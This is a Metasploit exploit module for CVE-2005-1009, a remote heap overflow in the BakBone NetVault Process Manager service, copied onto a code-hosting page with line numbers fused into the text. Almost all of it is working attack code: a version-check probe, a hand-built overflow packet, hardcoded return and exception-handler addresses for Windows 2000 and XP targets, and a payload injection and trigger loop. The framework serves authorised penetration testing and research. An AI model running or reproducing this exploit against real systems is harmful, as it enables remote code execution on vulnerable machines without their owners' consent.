Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/bakbone_netvault_heap.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'BakBone NetVault Remote Heap Overflow',13'Description' => %q{14This module exploits a heap overflow in the BakBone NetVault15Process Manager service. This code is a direct port of the netvault.c16code written by nolimit and BuzzDee.17},18'Author' => [ 'hdm', '<nolimit.bugtraq[at]ri0tnet.net>' ],19'References' =>20[21['CVE', '2005-1009'],22['OSVDB', '15234'],23['BID', '12967'],24],25'Payload' =>26{27'Space' => 1024,28'BadChars' => "\x00\x20",29'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",30},31'Platform' => 'win',32'Targets' =>33[34['Windows 2000 SP4 English', { 'Ret' => 0x75036d7e, 'UEF' => 0x7c54144c } ],35['Windows XP SP0/SP1 English', { 'Ret' => 0x7c369bbd, 'UEF' => 0x77ed73b4 } ],36],3738'Privileged' => false,39'DisclosureDate' => '2005-04-01'40))4142register_options(43[44Opt::RPORT(20031)45])46end4748def check49connect5051hname = "METASPLOIT"52probe =53"\xc9\x00\x00\x00\x01\xcb\x22\x77\xc9\x17\x00\x00\x00\x69\x3b\x69" +54"\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69" +55"\x3b\x73\x3b\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00" +56"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00" +57"\x03\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00" +58[ hname.length + 1 ].pack('V') + hname + "\x00"59probe += "\x00" * (201 - probe.length)6061sock.put(probe)62res = sock.get_once(1, 10)6364off = (res || '').index("NVBuild")6566if off67off += 2168ver = res[off + 4, res[off, 4].unpack('V')[0]].to_i6970if ver > 071print_status("Detected NetVault Build #{ver}")72return Exploit::CheckCode::Appears73end74end7576return Exploit::CheckCode::Safe77end7879def exploit80print_status("Trying target #{target.name}...")8182head =83"\x00\x00\x02\x01\x00\x00\x00\x8f\xd0\xf0\xca\x0b\x00\x00\x00\x69" +84"\x3b\x62\x3b\x6f\x3b\x6f\x3b\x7a\x3b\x00\x11\x57\x3c\x42\x00\x01" +85"\xb9\xf9\xa2\xc8\x00\x00\x00\x00\x03\x00\x00\x00\x00\x01\xa5\x97" +86"\xf0\xca\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20\x00\x00\x00\x10" +87"\x02\x4e\x3f\xac\x14\xcc\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00" +88"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" +89"\xa5\x97\xf0\xca\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20\x00\x00" +90"\x00\x10\x02\x4e\x3f\xc0\xa8\xea\xeb\x00\x00\x00\x00\x00\x00\x00" +91"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +92"\x00\x01\xa5\x97\xf0\xca\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20" +93"\x00\x00\x00\x10\x02\x4e\x3f\xc2\x97\x2c\xd3\x00\x00\x00\x00\x00" +94"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +95"\x00\x00\x00\xb9\xf9\xa2\xc8\x02\x02\x00\x00\x00\xa5\x97\xf0\xca" +96"\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20\x00\x00\x00\x04\x02\x4e" +97"\x3f\xac\x14\xcc\x0a\xb0\xfc\xe2\x00\x00\x00\x00\x00\xec\xfa\x8e" +98"\x01\xa4\x6b\x41\x00\xe4\xfa\x8e\x01\xff\xff\xff\xff\x01\x02"99100pattern = make_nops(39947) + "\x00\x00\x00"101p = payload.encoded102103pattern[0, head.length] = head104pattern[32790, 2] = "\xeb\x0a"105pattern[32792, 4] = [ target.ret ].pack('V')106pattern[32796, 4] = [ target['UEF'] ].pack('V')107pattern[32800, p.length] = p108109sent = 0110try = 011111215.times {113try += 1114connect115sent = sock.put(pattern)116disconnect117break if sent == pattern.length118}119120if (try == 15)121print_error("Could not write full packet to server.")122return123end124125print_status("Overflow request sent, sleeping fo four seconds (#{try} tries)")126select(nil,nil,nil,4)127128print_status("Attempting to trigger memory overwrite by reconnecting...")129130begin13110.times { |x|132connect133sock.put(pattern)134print_status(" Completed connection #{x}")135sock.get_once(1, 1)136disconnect137}138rescue139end140141print_status("Waiting for payload to execute...")142143handler144disconnect145end146147def wfs_delay1485149end150end151152153